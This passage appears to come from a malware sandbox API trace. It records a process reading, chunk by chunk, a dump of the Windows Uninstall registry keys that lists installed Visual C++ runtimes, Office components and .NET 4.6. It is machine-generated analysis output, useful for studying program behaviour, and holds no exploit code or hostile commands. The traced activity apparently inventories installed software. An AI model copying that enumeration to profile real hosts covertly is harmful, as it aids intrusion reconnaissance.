REG_DWORD 0x1\r\n Version REG_DWORD 0xe0a61b9\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2017 x64 Minimum Runtime - 14.10.25017\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-007E-0000-1000-0000000FF1CE}\r\n AuthorizedCDFPrefix \x15") returned 512 [0151.575] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=36352) returned 1 [0151.575] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.575] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" REG_SZ \r\n Comments REG_SZ \r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 16.0.8431.2079\r\n HelpLink REG_SZ \r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170927\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ c:\\program files\\microsoft office\\root\\integration\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size \x15") returned 512 [0151.576] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=36864) returned 1 [0151.576] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.576] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" REG_SZ \r\n EstimatedSize REG_DWORD 0x37d8\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0x10\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0x100020ef\r\n Language REG_DWORD 0x0\r\n DisplayName REG_SZ Office 16 Click-to-Run Licensing C\x15") returned 512 [0151.576] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=37376) returned 1 [0151.576] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.576] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="omponent\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-1000-0000000FF1CE}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ \r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 16.0.8431.2079\r\n HelpLink REG_SZ \r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170927\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ c:\\program files\\microsoft office\\root\\integration\\\r\n ModifyPath REG_EXPAND\x15") returned 512 [0151.576] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=37888) returned 1 [0151.576] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.576] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="_SZ MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x27e4\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{90160000-008C-0000-1000-0000000FF1CE}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0x10\r\n VersionMinor REG_DWORD 0x0\x15") returned 512 [0151.576] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=38400) returned 1 [0151.576] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.576] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0x100020ef\r\n Language REG_DWORD 0x0\r\n DisplayName REG_SZ Office 16 Click-to-Run Extensibility Component\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-1000-0000000FF1CE}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ \r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 16.0.8326.2076\r\n HelpLink REG_SZ \r\n HelpTelephone REG_SZ \r\n \x15") returned 512 [0151.576] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=38912) returned 1 [0151.576] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.576] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" InstallDate REG_SZ 20170927\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ c:\\program files\\microsoft office\\root\\integration\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x30\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe\x15") returned 512 [0151.577] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=39424) returned 1 [0151.577] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.577] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" /X{90160000-008C-0409-1000-0000000FF1CE}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0x10\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0x10002086\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Office 16 Click-to-Run Localization Component\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{929FBD26-9020-399B-9A7A-751D61F0B942}\r\n AuthorizedCDFPre\x15") returned 512 [0151.577] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=39936) returned 1 [0151.577] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.577] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="fix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 12.0.21005\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=133405\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdd\x15") returned 512 [0151.577] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=40448) returned 1 [0151.577] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.577] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="itional_amd64\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x2e08\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{929FBD26-9020-399B-9A7A-751D61F0B942}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD \x15") returned 512 [0151.577] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=40960) returned 1 [0151.577] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.578] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" 0xc\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xc00520d\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033\r\n DisplayIcon REG_SZ C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\DisplayIcon.ico\r\n DisplayName RE\x15") returned 512 [0151.578] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=41472) returned 1 [0151.578] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.578] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="G_SZ Microsoft .NET Framework 4.6\r\n DisplayVersion REG_SZ 4.6.00081\r\n EstimatedSize REG_DWORD 0x9b34\r\n UninstallString REG_SZ C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86 /x64\r\n VersionMajor REG_SZ 4\r\n VersionMinor REG_SZ 6\r\n Publisher REG_SZ Microsoft Corporation\r\n InstallLocation REG_SZ C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\r\n UninstallPath REG_SZ C:\\W\x15") returned 512 [0151.578] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=41984) returned 1 [0151.578] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.578] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="indows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\r\n Readme REG_SZ http://go.microsoft.com/fwlink/?LinkId=528229\r\n URLInfoAbout REG_SZ http://go.microsoft.com/fwlink/?LinkId=286133\r\n URLUpdateInfo REG_SZ http://go.microsoft.com/fwlink/?LinkId=286134\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{94A631D5-B30A-3DD8-B65C-1117C09DA73E}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ \r\n Contact REG_SZ \r\n Display\x15") returned 512 [0151.578] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=42496) returned 1 [0151.578] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.578] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="Version REG_SZ 4.6.00081\r\n HelpLink REG_SZ \r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\c2527ad1556dacc342323f\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=528229\r\n \x15") returned 512 [0151.578] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=43008) returned 1 [0151.578] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.578] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" Size REG_DWORD 0x9b34\r\n EstimatedSize REG_DWORD 0x139835\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{94A631D5-B30A-3DD8-B65C-1117C09DA73E}\r\n URLInfoAbout REG_SZ http://go.microsoft.com/fwlink/?LinkId=286133\r\n URLUpdateInfo REG_SZ http://go.microsoft.com/fwlink/?LinkId=286134\r\n VersionMajor REG_DWORD 0x4\r\n VersionMinor REG_DWORD 0x6\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD \x15") returned 512 [0151.579] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=43520) returned 1 [0151.579] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.579] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="0x4060051\r\n Language REG_DWORD 0x0\r\n DisplayName REG_SZ Microsoft .NET Framework 4.6\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 12.0.21005\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=133405\r\n \x15") returned 512 [0151.579] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=44032) returned 1 [0151.579] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.579] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x9e4\x15") returned 512 [0151.579] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=44544) returned 1 [0151.579] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.579] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xc\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xc00520d\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWAR\x15") returned 512 [0151.579] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=45056) returned 1 [0151.579] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.579] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="E\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ \r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 8.0.61000\r\n HelpLink REG_SZ \r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-\x15") returned 512 [0151.579] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=45568) returned 1 [0151.579] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.579] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="6e54b3d31028}\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x23c\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0x8\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version\x15") returned 512 [0151.580] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=46080) returned 1 [0151.580] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.580] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" REG_DWORD 0x800ee48\r\n Language REG_DWORD 0x0\r\n DisplayName REG_SZ Microsoft Visual C++ 2005 Redistributable (x64)\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 11.0.61030\r\n HelpLink REG_EXPAND_SZ http://go.mi\x15") returned 512 [0151.580] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=46592) returned 1 [0151.580] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.580] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="crosoft.com/fwlink/?LinkId=133405\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n \x15") returned 512 [0151.580] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=47104) returned 1 [0151.580] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.580] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" EstimatedSize REG_DWORD 0x7d0\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xb\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xb00ee66\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0\x15") returned 512 [0151.580] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, 